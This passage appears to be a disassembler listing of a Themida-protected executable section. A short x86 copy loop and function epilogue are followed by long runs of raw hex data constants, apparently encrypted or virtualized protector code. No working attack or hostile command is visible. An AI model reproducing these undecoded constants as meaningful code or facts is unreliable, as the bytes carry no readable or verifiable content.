		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59F8CE


loc_59F8E3:				; CODE XREF: Themida_:0059F8C3j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 6178B81h, 2C6D8589h,	13C80612h, 0BF641D12h, 63B92936h
		dd 71A1F074h, 35020460h, 70D8781Ch, 85C7FECDh, 8578838Eh
		dd 0F1F431F0h, 5E2D360h, 884B1F64h, 33763660h, 76B73ECCh
		dd 5F1931CDh, 366463CDh, 154631CDh, 0BC79F297h,	0B4951599h
		dd 2ECC1589h, 776431CDh, 37B2F29Fh, 677342Fh, 0B883F3A2h
		dd 354631CDh, 35205C24h, 3581D8CDh, 0B26F31CDh,	8FA4BF62h
		dd 0B1590267h, 9EBF42BDh, 880F085Bh, 335438BCh,	1A73ECDh
		dd 5F9131CDh, 362062CDh, 156431CDh, 0BC69F296h,	0B41D1591h
		dd 29881589h, 764631CDh, 0DCA7F29Eh, 77E7B695h,	0DC7213E2h
		dd 356432EFh, 35323724h, 0A99398CDh, 0B88E5675h, 22C93148h
		dd 0EFA257CBh, 7D2B8841h, 0A5F6FFF3h, 35643B24h, 174C19CDh
		dd 0C40852FEh, 65C82E33h, 3AD67878h, 35233A40h,	3597D8CDh
		dd 0FEEE31CDh, 19F43ACFh, 5DFDB0ABh, 0D79CBC68h, 658A2643h
		dd 6BD0C74Dh, 33CB625Dh, 399131CDh, 0B4CB875Ch,	6F8EBBA8h
		dd 0AE876194h, 0CB92575Dh, 2511A432h, 0ABF737DFh, 35232524h
		dd 0D81DBACDh, 0B8219FCh, 584A0EB9h, 0D460CFB7h, 4040C28Eh
		dd 0DC4CBA63h, 354631C1h, 663FA53Ch, 64453A6Bh,	0A50666E8h
		dd 2EF58C4Eh, 403237DFh, 0E8A4B2C4h, 358A23DAh,	661628B9h
		dd 4F9BF146h, 0BC9131C9h, 27C8B448h, 3AF9BCCBh,	0CA342563h
		dd 0B6416A1Eh, 279BEC70h, 223231CBh, 4F9B629Dh,	0BC9131C9h
		dd 27C8B448h, 0CBF9BCCBh, 0CA342567h, 0B5416A1Eh, 3D64E700h
		dd 794631CDh, 270DFBBFh, 63848DA4h, 35C83724h, 0EE3AF6CDh
		dd 6FEB4731h, 53D9BA92h, 5B67EE4Ch, 0BBACAC40h,	354937DAh
		dd 3592D99Ch, 6CE831CDh, 79ED680Eh, 71B335E9h, 350335E9h
		dd 64CD31CDh, 8FE6CB0Eh, 0CDC381C7h, 536BBAABh,	0B045C146h
		dd 337349C0h, 0DD6431A7h, 351931CEh, 6B4F6FEDh,	31624544h
		dd 3107754Ch, 359131D1h, 0EB0B678Bh, 0C8F29B3h,	0D8B58A4h
		dd 3573E132h, 358FD99Bh, 6B6631CDh, 41AA6F0Eh, 711035E9h
		dd 35D335E9h, 632231CDh, 0A39FB20Eh, 2D3C4976h,	0F587C975h
		dd 356EB5C2h, 0B8DF31CDh, 27DC8450h, 0B32AB1CBh, 35643275h
		dd 0D6CDC9CDh, 35192125h, 0BEA0FFCDh, 0E6D4DA16h, 73313CA0h
		dd 1EF8EABCh, 0A8456FE0h, 3373BF3Fh, 0DD6531A7h, 351931CEh
		dd 6A4F6EEDh, 31624D44h, 3107754Ch, 359131D0h, 280B668Ah
		dd 6842EA95h, 66106FF1h, 350AD8A1h, 1A2331CDh, 4EF76EE4h
		dd 0D21C32F9h, 0F73568DDh, 28233D9Eh, 38E1BC7Bh, 0DC3426B5h
		dd 351931C2h, 38CFCA05h, 6F0621D5h, 0ABC69D02h,	0CAD1724Dh
		dd 3A083A1Dh, 35644449h, 67325BCDh, 35193225h, 0F6D611CDh
		dd 1112B897h, 1167B0C9h, 359126C9h, 0F69A73CDh,	4185CC5Ah
		dd 0A8BFF946h, 330B7C78h, 0DDDF31A7h, 354631CEh, 6EE06AEDh
		dd 31B56D44h, 31EC754Ch, 356431D9h, 73F1628Eh, 4F8F8BABh
		dd 358C3075h, 0C7F13ECDh, 0E2A58F9Ch, 0CACF45B3h, 3B21622Eh
		dd 476431CDh, 4BC74FC8h, 7F1766A8h, 0E0F63BE9h,	0B426686Bh
		dd 0E9CBBB1Ch, 0A81C50A2h, 33DFBF3Ah, 38FF272h,	50188FF9h
		dd 0B09432D6h, 339B49C0h, 0C48CB0ABh, 3AF3CE5Eh, 0F59AC172h
		dd 35ACB5C2h, 350E31CDh, 3531D99Bh, 6B3931CDh, 41056F0Eh
		dd 71C735E9h, 353735E9h, 63D731CDh, 3220EE0Eh, 26431CDh
		dd 735C9F2Ch, 0BD166388h, 358C31CEh, 6BCDD04Dh,	7896AC40h
		dd 0DCF137DFh, 35C831C5h, 1C2691FFh, 69EF5E19h,	351FB6C2h
		dd 0BB8331CDh, 354631CDh, 352089ACh, 0C9F131CDh, 540FBAABh
		dd 0ACD2D232h, 0BE71C146h, 0D5A4BC36h, 0B88A2643h, 22D4FE40h
		dd 695E89CBh, 0B0A2BB86h, 33DA3FECh, 0A845FEE6h, 3373BF3Fh
		dd 0DD6531A7h, 351931CEh, 6A4F6EEDh, 31624D44h,	3107754Ch
		dd 5E983D0h, 0C08BA4F3h, 6AD58Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A3E816C3h, 6E1EA98Dh
		dd 0F516336h, 0F5ECEB7h, 0C38BFABFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 5DC35141h, 0DBD52149h, 21D88ACDh
		dd 10C28116h, 0FC3BA6C0h, 0BE66C08Bh, 0BD83971Ch, 6121B91h
		dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h,	47AB8h
		dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h
		dd 61217h, 53501774h, 47AB8h, 95858900h, 8D061222h, 14AB179Dh
		dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0CC421558h, 0DE857h, 2C580000h, 6F2ED1EDh
		dd 81B866D7h, 0FC0EF84Ch, 0C08B5F5Ah, 0FE8h, 419F8A00h
		dd 954F37C0h, 647A5330h, 61FD1712h, 0D71BA66h, 0F8BF0F58h
		dd 678CC081h, 0BA660000h, 0C2BE55F3h, 0F000019h, 188BFBBFh
		dd 811DEA80h, 988099C3h, 0F88B6674h, 89EDC381h,	0C2815D7Eh
		dd 2A472768h, 0BC5CC381h, 0D78A1043h, 0F9601889h, 6870Fh
		dd 0E9810000h, 10A09599h, 96E88161h, 600673EDh,	2810Fh
		dd 5E530000h, 8993BB60h, 0BF0F237Eh, 816161DFh,	73ED92C0h
		dd 83EAB106h, 850F01EEh, 0FFFFFFA2h, 0DE8F5h, 40E00000h
		dd 71522E0Ah, 0EE1970Fh, 5A5BB36Ch, 8E953h, 29B50000h
		dd 0C70A4B45h, 8158B5A1h, 6528C2h, 9FCB8100h, 0BE504BAFh
		dd 1C958170h, 6854EE81h, 0BF661C95h, 0A8BEE5Ah,	81FEB70Fh
		dd 5B0821C1h, 0AE96Ch, 0CC650000h, 6D2F33AEh, 76EC99B1h
		dd 629EF181h, 0E8604E34h, 8, 0A88FA597h, 33CF275Ah, 8F0Fh
		dd 0F590000h, 580h, 6B8CBE00h, 81614F28h, 827724E9h, 0F51FC18h
		dd 68Fh, 860F00h, 8F000000h, 0EA83F802h, 17890F04h, 60000000h
		dd 880Fh, 0AE90000h, 0C1000000h, 9633670Fh, 0FBD675F1h
		dd 0F4E6141h, 0FFFF8185h, 0C78166FFh, 30E97B63h, 7000000h
		dd 16078Bh, 0Ah	dup(0)
		dd 0E9000000h, 501h, 6C0A7669h,	801E887Ch, 98369890h, 0AE4CB2A8h
		dd 0C361C9BEh, 9489FB56h, 0A79E8E2Ch, 0BCB5A543h, 0D4CEBE5Ch
		dd 78D9D876h, 9CDF07h, 89DBEE76h, 5D57150Fh, 4144A89Fh
		dd 0B8BB53EBh, 7A50D02h, 14BF1D17h, 78E2483Eh, 87E5DF95h
		dd 70DACE84h, 97F5EFC5h, 36ED4A2Dh, 0DA4BD456h,	6FE907B2h
		dd 29016BB9h, 4333D12Fh, 5C4CEA4Ah, 82580363h, 7DA51689h
		dd 8C6FE907h, 593CA63Eh, 4548ACA3h, 804F2FEEh, 99892787h
		dd 95BD2E9Fh, 0AB6FE907h, 55352B2h, 0F7ECC26Dh,	0CC368C8Fh
		dd 76B98E9h, 631A6FE9h,	7B58AF83h, 0C49FD81Dh, 45000000h
		dd 3A62D35Ch, 416FE907h, 0B7B189F3h, 7BED5659h,	0C5498112h
		dd 9508720Bh, 6FE9DE6Bh, 7FF0791Ah, 6FE9DE57h, 0DAE1866h
		dd 5202592Dh, 149D81Eh,	0EF000000h, 2D9E1B0Fh, 6FE90705h
		dd 7CFF768h, 90DE6FE9h,	0AB4391h, 62CC362Ah, 6BD5C97Fh
		dd 8FF3EAC0h, 0E9CC368Ch, 0FD6EF780h, 6FE907D5h, 0DB0396E4h
		dd 0E26FE907h, 6C2F3D98h, 0EA634F3h, 10D6CCA4h,	1A1DB519h
		dd 83F46F64h, 6FE9F55Bh, 797C1462h, 0FEEE4927h,	69611D34h
		dd 0B6080B75h, 0AFC1B988h, 7C3BD4E3h, 0ED8E2D9Ch, 685F1D17h
		dd 13AB0104h, 0AF50BA10h, 0A60C00CFh, 91CE46Dh,	6A43CE1h
		dd 30988D63h, 1B81772Dh, 47411983h, 0FF74BE9h, 0F9AFB21Ah
		dd 1AF09B05h, 67BDC022h, 45FE1AFDh, 39A19665h, 53B1AB9Bh
		dd 40A29A50h, 66C6BF95h, 0C0A30D63h, 0ABAE140Ah, 979AFEF5h
		dd 32A18140h, 0CFA3835Ch, 0D81D8088h, 0B609EB5Dh, 51E54D42h
		dd 0B8AD285Ah, 154EB850h, 0A7h,	0B21A0FBBh, 9F01F9AFh
		dd 8CEEE69Ch, 79DBD389h, 82621976h, 0DDBD7413h,	13B1190Eh
		dd 1BC62E23h, 7F92192h,	0B2006FE9h, 0B9AF6548h,	0A19A5053h
		dd 8F883E41h, 7275D7CFh, 1881841Ch, 0E9077FA7h,	0A1408E6Fh
		dd 0C59B0AEAh, 0D4322C02h, 70117BD1h, 8175BC90h, 6D9CD81Dh
		dd 42000000h, 3A62D35Ch, 416FE907h, 0BCB189F3h,	0AF20A954h
		dd 6FE90787h, 0FBDE4896h, 62C4BC92h, 0CB2720F8h, 0E37FF7C8h
		dd 0F9FC94BFh, 2DFCDC95h, 0B325D038h, 0BF5DFD2Eh, 30968CB5h
		dd 0DB02E98h, 76EB1384h, 0A4F26FE9h, 4F52B4ACh,	0F538FF9h
		dd 45AEB11Bh, 0A8127A6Fh, 0E9070835h, 2202B96Fh, 71D1CAA0h
		dd 7AD32A07h, 11AD81Dh,	0C0000000h, 0D2B9170Fh,	9E7E89C3h
		dd 258E9129h, 0EEF15B4Fh, 0D7DA4438h, 0A77FE981h, 0F54C4FADh
		dd 8F875636h, 0F3FA8F2Dh, 0CA3CC570h, 0C1221F6Bh, 970A746Ch
		dd 69FBDC3Eh, 8056014Fh, 0D3252886h, 0F3371D00h, 0A20CA49Bh
		dd 5CCD56BFh, 75FB5434h, 0AB83ED3Bh, 1FA853B1h,	0FB5486AEh
		dd 0DD479575h, 17756F5Fh, 3B9F966Ch, 9578E238h,	0FB541A44h
		dd 0E5C57E75h, 20BE1C16h, 0D5D83630h, 0C4C7251Fh, 392F05A8h
		dd 0E8C869D3h, 12C51F19h, 43D04931h, 584DEB83h,	0DE301801h
		dd 10848h, 636AEE00h, 7BC435E0h, 0C269FB34h, 0C1BB7174h
		dd 4C22C563h, 0A820F456h, 84A4D76Dh, 0E893E9ECh, 0FB794F77h
		dd 0A6105E75h, 7376D4CEh, 6265C3BDh, 0DEAD8D46h, 5DB86E4h
		dd 4FA5A810h, 7761C0BBh, 248ED7D5h, 7E5AB1A6h, 3DA1DE2Fh
		dd 47000000h, 31DC6F6Ah, 16F9B8C0h, 36398710h, 0D5FA5BCDh
		dd 0D63CA1B1h, 8285E5DEh, 274FC22Ch, 31EFE8F0h,	6564D8B8h
		dd 0B2BA2BD6h, 799016E2h, 1711D3CBh, 0C81E21B9h, 7EB39230h
		dd 61000000h, 35E0636Ah, 0FB1BAFC4h, 2D307E69h,	6DCB52C4h
		dd 235C7E82h, 89E7E1B9h, 0A301FBEBh, 3CAE37A0h,	0F0A124ECh
		dd 0E810A345h, 0F775FB9Fh, 0ADCC3FA9h, 6775FB9Eh, 540A0D6Fh
		dd 0A2F9FC5Ah, 0EE9403E3h, 8C865535h, 0F0FB902Eh, 20B81811h
		dd 1D16EC75h, 0FE01675Dh, 33A610A8h, 70112BEAh,	59B7B187h
		dd 0BFC210EFh, 0AEB10F09h, 44B89857h, 860FBA49h, 0EC56B8B0h
		dd 3A13079h, 8D2B796Ah,	0E0636A39h, 947BC435h, 14C269FEh
		dd 63B9BC1Ah, 1812C8CBh, 322C1CBAh, 0C580D1D4h,	308610ACh
		dd 0D0CA9979h, 5B31D472h, 0C0980262h, 0BCE455C6h, 0C385F08Bh
		dd 24DADD75h, 0C72682Eh, 5B1A7174h, 54B2AC7Bh, 6ECCC6B6h
		dd 3C66Bh, 95740000h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch
		dd 79DDD48Ah, 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h
		dd 0E786C22h, 89514D0Bh, 4C181E1h, 83000000h, 0C8704E9h
		dd 14895C24h, 3D7E6824h, 14890000h, 438B6824h, 1C890000h
		dd 167FBA24h, 0D2F745C3h, 5426BF57h, 0FA29B425h, 1C8B545Fh
		dd 4C48324h, 4EC81h, 14890000h,	8438F24h, 5B2434FFh, 4C481h
		dd 34FF0000h, 0C4835A24h, 0E5ABE904h, 26C4FFFAh, 3D560CB0h
		dd 99F8B83Fh, 0C5030617h, 0DB3FE0FFh, 2BBD1310h, 0B0E0140Ch
		dd 0D60F4736h, 8A8C614Ah, 6C314BC3h, 0F5D9151Dh, 6145403Dh
		dd 0D33B77B4h, 0DAD000C2h, 2E870255h, 503E1CBFh, 3CE92186h
		dd 1, 4Eh dup(0)
		dd 83000000h, 121C31BDh, 840F0106h, 42Eh, 5E9h,	0B958000h
		dd 85C68F5Dh, 6122871h,	0FE943h, 97F20000h, 85A605EAh
		dd 746E6C5Bh, 0E2377D6Fh, 0A8D0F28h, 0E9000000h, 5, 0B00C2A92h
		dd 9F8D6872h, 5250C059h, 7E860h, 0B510000h, 0D351FAB9h
		dd 0F615B5Ah, 26B06031h, 0CE9h,	34A81900h, 92BFAA5Eh, 2291E05Fh
		dd 585A617Ch, 78243481h, 0E92CFC4Fh, 6,	0F991F929h, 0B5FFFBE9h
		dd 61230E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	56C35545h, 8D0F075Bh, 0Ah, 8B62B960h, 0BF0F7738h
		dd 858D61DAh, 6157F35h,	0FE9h, 1148D900h, 3BC27CA8h, 0E0BF48C7h
		dd 13F5C531h, 0DE9D0FFh, 41000000h, 9565247Bh, 18BFF09Eh
		dd 0CB185E72h, 1D58589h, 0F600612h, 282h, 0F5E5700h, 0C661F3BFh
		dd 12287185h, 68F55006h, 88AFD4EBh, 13B86660h, 34816160h
		dd 279BD24h, 0A810F20h,	60000000h, 0D1816160h, 316C2793h
		dd 0E9B5FF61h, 0FC061230h, 7F35858Dh, 0FFF80615h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0D739E128h, 68B08280h, 0E860F9BAh, 9, 557335D7h, 3806D094h
		dd 870F6Fh, 59000000h, 61C3B70Fh, 1C818589h, 0FF50612h
		dd 1986h, 14E900h, 41E0000h, 0D0372B4Bh, 0B3176883h, 96F40694h
		dd 82B07Ch, 61686974h, 0FEBEF85h, 0C81h, 6800F00h, 50000000h
		dd 5A310F52h, 24348158h, 1B602D4Eh, 0E9B5FFFCh,	60061230h
		dd 0ECCE8166h, 0C0816619h, 0F56119F9h, 7F35858Dh, 0FFFC0615h
		dd 8589FCD0h, 6120109h,	88C0Fh,	8B0F0000h, 2, 85C66160h
		dd 6122871h, 1C8D0F50h,	60000000h, 12E80CB1h, 34000000h
		dd 5780F25Dh, 0E22AF003h, 9B19F89Dh, 0CE1A5E9h,	68615FB1h
		dd 0EB00F815h, 3810F60h, 66000000h, 5250F28Bh, 310F5250h
		dd 310F585Ah, 820Fh, 585A0000h,	24348161h, 7C9C2443h, 0B1B5FFF9h
		dd 0F061203h, 0E86h, 9E900h, 28F30000h,	17EEE3CCh, 8D0120A9h
		dd 123B5D85h, 5E906h, 279F0000h, 0FFF6C07Ah, 0DE860D0h
		dd 0F6000000h, 94FC4103h, 0ACD916F9h, 54BEECFh,	58CE8B66h
		dd 7E9h, 5380C00h, 183FCECCh, 0D858961h, 0E9061210h, 0Fh
		dd 0ACA97B74h, 3FBE563Fh, 91F7EC08h, 0E983E48Fh, 192h
		dd 10E9h, 30C6B00h, 6705B597h, 0F3A68B49h, 8DB98452h, 0F605057h
		dd 8Eh,	6163B600h, 0E9242C89h, 12h, 61FA69F8h, 0D7574409h
		dd 7257B9DEh, 0E172CDD3h, 0EC8BBF63h, 0EE960h, 0BD670000h
		dd 6B90E018h, 53FC66A3h, 0B003F86h, 0FCC48361h,	18B0Fh
		dd 60F80000h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	3AC35141h, 0E8D13491h, 0
		dd 0FEEA815Ah, 0C706179Eh, 0FC45h, 0BA830000h, 6121C31h
		dd 98840F01h, 52000000h, 0F6A006Ah, 1D592FFh, 895A0612h
		dd 179A9982h, 9D9A8D06h, 5206179Ah, 12803C7h, 50530000h
		dd 1C8192FFh, 525A0612h, 9A9D9A8Dh, 0FF530617h,	179A99B2h
		dd 0D92FF06h, 5A061210h, 5074C00Bh, 9A9D9A8Dh, 7B8D0617h
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 122419BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 19828D08h, 50061224h, 10992FFh, 0B5A0612h
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 6A0008C2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0EE80C352h, 42CCD9F6h,	6A989Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 136572C3h, 34BE9DA0h, 0F8F57904h, 78E0FF8h, 0F000000h
		dd 185h, 0D28BFC00h, 12E9h, 1548D00h, 0E7339C73h, 77h
		dd 0
		dd 0E9000000h, 0DF6h, 17A1E968h, 0DFC7E906h, 468FFFAh
		dd 0E90617A3h, 0FFFADFBDh, 17A48668h, 0DFB3E906h, 0C068FFFAh
		dd 0E90617A5h, 0FFFADFA9h, 17A77468h, 0DF9FE906h, 0C768FFFAh
		dd 0E90617A9h, 0FFFADF95h, 17ABA568h, 0DF8BE906h, 0B868FFFAh
		dd 0E90617ACh, 0FFFADF81h, 902E9A8Dh, 0A442ACA0h, 0BC5ABCB4h
		dd 0D270D6CCh, 0E785EDE2h, 0B8AD1F7Ah, 0CBC2B250h, 0E0D9C967h
		dd 0F8F2E280h, 9CFDFC9Ah, 0A7032Bh, 0A5F70A76h,	0B4B7150Fh
		dd 8A604FEh, 3EE97873h,	0FB1E10CDh, 48F34169h, 6D187A72h
		dd 0FB22D4FCh, 238DDB75h, 22C3EF40h, 0E5D975FBh, 22CFF768h
		dd 90DE75FBh, 463FF5F8h, 0CD8CE3E6h, 0CFA87EEDh, 99C41BEFh
		dd 47B9DE2Fh, 45FD0E4Eh, 4F88F292h, 3Bh, 0E0636AF5h, 0D363C335h
		dd 7462C118h, 0D0E7F0Ah, 3C69FBD1h, 49BA43EEh, 75FBAF21h
		dd 0AFE30B7Ch, 9CEA75FBh, 2E54F9Dh, 0FBAF85B1h,	4E4BD75h
		dd 3022D930h, 0FB20DEh,	0FC60000h, 0B33A415h, 196FE907h
		dd 66BCBF21h, 0D6811967h, 28277164h, 0BDB5059Ch, 16F963C5h
		dd 7FF06B60h, 6FE9E057h, 8764D0D1h, 9695D1E2h, 0D1869C4Ch
		dd 861E3A69h, 786D43EEh, 0DC3A610h, 0FCB2B513h,	0FBE5A802h
		dd 6C7D3994h, 0AEAB36D4h, 666FE95Ah, 80700E6Ch,	0BC252886h
		dd 218BEFE6h, 0C1BAA9A4h, 70085E61h, 42B33CC5h,	6FE9631Ah
		dd 274FC021h, 366FE963h, 5E5850E8h, 3DA7FD00h, 0FB6321CAh
		dd 3CDA2869h, 6BC9C399h, 0FA898401h, 5AFDE4Fh, 3C127010h
		dd 8BE1E442h, 49F44221h, 78167E73h, 392B9388h, 79415E30h
		dd 9531D6B9h, 0F800000Bh, 0BFB9905h, 1F0FAD17h,	3727C527h
		dd 4D3DDB41h, 0E552F058h, 0BB23188Ah, 0D2362D1Dh, 0EB4B4434h
		dd 5635D4Dh, 96076867h,	7600A86Eh, 0F186A7Dh, 3107B21Ah
		dd 0EB69D33Dh, 0F8A301FBh, 3ACCEF86h, 104BDF43h, 5BD943AAh
		dd 0CD636A07h, 0E907345Ch, 55ED3B6Fh, 554B21AAh, 111285EFh
		dd 8C69FB12h, 0F45EBCB6h, 0ADE3CB15h, 1A0D6F98h, 0DD4ED782h
		dd 75FBD7B5h, 290C76C4h, 0FBD7ACD8h, 7CBC275h, 52A8AB11h
		dd 0C01B7BAh, 52B4ACA4h, 34148D4Fh, 3616EFC5h, 304B0B62h
		dd 0B552DEh, 20A90000h,	0FBCB87AFh, 0DE489675h,	8C865CA2h
		dd 0F2ECC42Eh, 0E6DB9194h, 2D2A7B7Eh, 0E36FE902h, 0FDED8BE9h
		dd 47A2A503h, 3C12BD44h, 87DDE046h, 9709921Dh, 0ECEB3CBCh
		dd 0BA2D9793h, 69FB5D11h, 0AD1FCA18h, 677DC9CEh, 2CAA1483h
		dd 620D9497h, 100AD3F1h, 41EC3A70h, 0D865ECFh, 0B01A566Dh
		dd 0F25A4F25h, 0B728B154h, 6FEF938Fh, 0EE6509Eh, 20BFB119h
		dd 357941C4h, 0A7AAD52h, 20130000h, 322616B4h, 423A2AC8h
		dd 5C5242E0h, 736858F6h, 0A1006D0Bh, 38D63E33h,	4FED5148h
		dd 6806665Fh, 82207E78h, 89B12283h, 907600AAh, 1A0F2B7Dh
		dd 2A2414B2h, 0FDA2ECCh, 0FEB4B715h, 7308A604h,	0CC3EE978h
		dd 0C31AF263h, 810C766Dh, 0FBB23F10h, 0FD004E69h, 0FBBE7FACh
		dd 0FEDEB775h, 3035D32Ah, 6C91ADEh, 6AC00000h, 0C435E063h
		dd 69FB0463h, 3FB15CAAh, 0B5AF7E64h, 184CC357h,	49E612FBh
		dd 4BE30AB0h, 81ADFEE1h, 9775FBD7h, 853B3E9Eh, 0C62A2D8Bh
		dd 0E8BE2D0Dh, 32B9C25h, 0A75FBD7h, 0D1B152BCh,	304EA6FDh
		dd 0CBC59BDEh, 7CCA036Dh, 70000006h, 3A62D35Ch,	416FE907h
		dd 10C89F3h, 7D6FE6Fh, 97E56FE9h, 22E354FFh, 7F69FB12h
		dd 1E5D85F6h, 1E6C75FBh, 0DC87D5B4h, 17AB0F06h,	9CD56EA6h
		dd 7A5DC7A0h, 0FB6BFD29h, 7C5C3575h, 2FE451A8h,	63598DEh
		dd 0AD3E0000h, 0CF525982h, 2F16B324h, 0B90769FBh, 877E54BFh
		dd 60CA2023h, 0E57D8EDh, 0A1808BEAh, 87EDE3ADh,	3BAC57EFh
		dd 0F402065Eh, 0E1097A03h, 0E8FBFE09h, 351309Ah, 278B8258h
		dd 0D0D3392Fh, 0D22D107Ah, 9CC435DBh, 0AAFBFE09h, 14F4EB4h
		dd 0F0E8BE69h, 0CB358B8Eh, 404ECF40h, 51FFF610h, 0B25DF55Bh
		dd 2821E5DCh, 3BC630C8h, 6F0D6B65h, 648E5ACCh, 0B8048FC7h
		dd 1E7C764Eh, 4077B12Ch, 10B598EFh, 8F8h, 9836A295h, 0AC4AB4A8h
		dd 0C462C4BCh, 0DA78DED4h, 0EF8DF5EAh, 0C0B52782h, 0D3CABA58h
		dd 0E8E1D16Fh, 0FAEA88h, 0A40504A2h, 0AB0B33h, 0ADFF1276h
		dd 0B4B7150Fh, 1880754Bh, 0A73A31AEh, 0A7488BFCh, 378569FEh
		dd 0A7B20E99h, 0D7487600h, 5940DC4Eh, 2CC17FFDh, 0AE3DFF98h
		dd 41ABF6FEh, 66116F69h, 2A446CDDh, 9D4B7600h, 0EC4245A3h
		dd 0D76CEA54h, 159E49D8h, 78E1C3A3h, 0DF3EE10Fh, 149A8E24h
		dd 3AAD17AFh, 7600D50Ah, 42AA9F75h, 7570C4AEh, 56C05B9Bh
		dd 7DA51677h, 8C760088h, 0EDA3A63Eh, 14EA95F3h,	5EB4B71Fh
		dd 0AFEB76F4h, 0E5760088h, 0CE382CECh, 83F59836h, 4AF63549h
		dd 0AD85EFC3h, 15255B3h, 962DFED5h, 0D5A4843Dh,	3CDF7DDBh
		dd 0D1DC04CAh, 1B7174DCh, 0EDF6BA87h, 53B1AB83h, 43D3FF50h
		dd 894869D1h, 82E0DAA9h, 15405E4h, 0FB30000h, 0FE5E5715h
		dd 0A0DA5FBh, 0A79B5B54h, 4CE43A3Dh, 7D0F849h, 0ECE66FE9h
		dd 0B0228B8Eh, 5949D91Ch, 54B6AE61h, 0D6D552BCh, 0CC2EA04Bh
		dd 0BCAD7D47h, 74E570DAh, 69FF0731h, 0B71C0E5Ch, 7E733090h
		dd 7BEF69Bh, 0DCCF0000h, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch
		dd 2F2414B2h, 5DBC29C7h, 0F492FAEFh, 0BA90D04h,	24C2221Bh
		dd 3EDC3A34h, 456DDE3Fh, 547600ACh, 150FEF41h, 3D360CB7h
		dd 0DA9073DDh, 0EFDF7DE5h, 0EA1283F6h, 0F16FE907h, 0B09AFBA7h
		dd 0D56D3E24h, 0F9A14241h, 6901C456h, 8CF2E8BEh, 17883389h
		dd 6FE919EFh, 0C846B0FEh, 0E280DED8h, 0D73693Fh, 6ED6CBA3h
		dd 58C0B56Bh, 68E1D7ADh, 0E919CFF7h, 0F890DE6Fh, 0D68FAB8Eh
		dd 840274F6h, 3D86B5ACh, 7A6F47B1h, 0FBD17412h,	5C39A301h
		dd 0D81E5B05h, 0C4Ch, 0AD20F200h, 7F000000h, 0E34DB3A9h
		dd 0B7150FA7h, 51C24BB4h, 6FE90729h, 578E230h, 6FE917D9h
		dd 8E91FBEFh, 7C7FDFD8h, 1988681Fh, 12E1C180h, 0FD655A18h
		dd 0DED7C765h, 0C961D37Eh, 0D2FA6B2Fh, 0D96FE9FAh, 0E1B4F78Bh
		dd 419275DFh, 6FE93B14h, 3403E364h, 10817B3Bh, 0E93B779Fh
		dd 0A038866Fh, 0F1C76A08h, 3B9194FCh, 160F95D1h, 8B990BB6h
		dd 3C94BC89h, 0C2785BC5h, 35BE69C9h, 0E9F09CC4h, 0D142A36Fh
		dd 6FE9F0A9h, 60CA62B0h, 0C8A8617Dh, 2A000F9h, 0E9F7B677h
		dd 0ED413E6Fh, 30D81E5Fh, 0FFFFFE73h, 32920D6h,	0D7F0000h
		dd 0AEE3E5B4h, 336FD9B6h, 0B4B7150Fh, 0E9072763h, 0D8B8316Fh
		dd 13B10F09h, 1B11E770h, 0C95CB2B5h, 6FE907A1h,	18F05AA8h
		dd 6CBDC01Eh, 6FE90730h, 0B0E6C66h, 7B26BDB0h, 0FEA7C70Ah
		dd 0AAE85A69h, 2EFFDF06h, 0E7EA5448h, 0A01F991h, 0E34DA3A6h
		dd 0A32A304h, 117600FAh, 88392BC3h, 9173305Dh, 60A09AEh
		dd 90830000h, 0A2968624h, 0B2AA9A38h, 0CCC2B250h, 0E3D8C866h
		dd 1170DD7Bh, 0A846AEA3h, 0BF5DC1B8h, 0D876D6CFh, 0F290EEE8h
		dd 0F92192F3h, 7600AEh,	150F9BEDh, 6EE931BBh, 25BDB588h
		dd 0AF776C22h, 10BB53B9h, 0A085E99Eh, 9F09BC58h, 79373121h
		dd 0B31C1F81h, 0E96F1A42h, 3BD3216Fh, 0FE6FF8A3h, 6FE96FD6h
		dd 0B0397E5h, 0B46C4007h, 3D2DAB15h, 27DDE048h,	0AD1FCA32h
		dd 250E3A5Dh, 3E65082h,	7F4E2EE7h, 40390F8Ah, 63254DE0h
		dd 0E6346FE9h, 64BBB04Eh, 0ABD81DDBh, 227h, 0DC6F6A51h
		dd 0F87A88D9h, 0E5BE9107h, 7CDA3105h, 1021D70Ch, 0C7000002h
		dd 31DC6F6Ah, 0E90798C0h, 5659A76Fh, 7F8F705h, 86663F91h
		dd 0C7D5BB2h, 1F1A2D7h,	87F90000h, 7786DFD1h, 7CB822E2h
		dd 31DC6F6Ah, 0E9078CC0h, 2119EF6Fh, 6AD2C7BFh,	28D32100h
		dd 0F3F65C52h, 0FF50339Dh, 9107F8F1h, 0D8AC8C65h, 0D70C7C81h
		dd 1BAC8h, 6F6A6E00h, 90C031DCh, 9F6FE907h, 9B34A651h
		dd 224ABBF2h, 296FE92Fh, 0B3547DBh, 0D021046Eh,	9108D6C2h
		dd 0E9BD9D76h, 0D70B9E92h, 18AD9h, 0EA5C7F00h, 0D3CD9B78h
		dd 4DA7E175h, 908A62CCh, 0F263DCD2h, 6FE99FCAh,	0E8EB83D1h
		dd 8EF7FA92h, 0FAA6431Ch, 0F45ED92Bh, 22C8221Ch, 7E1575Ah
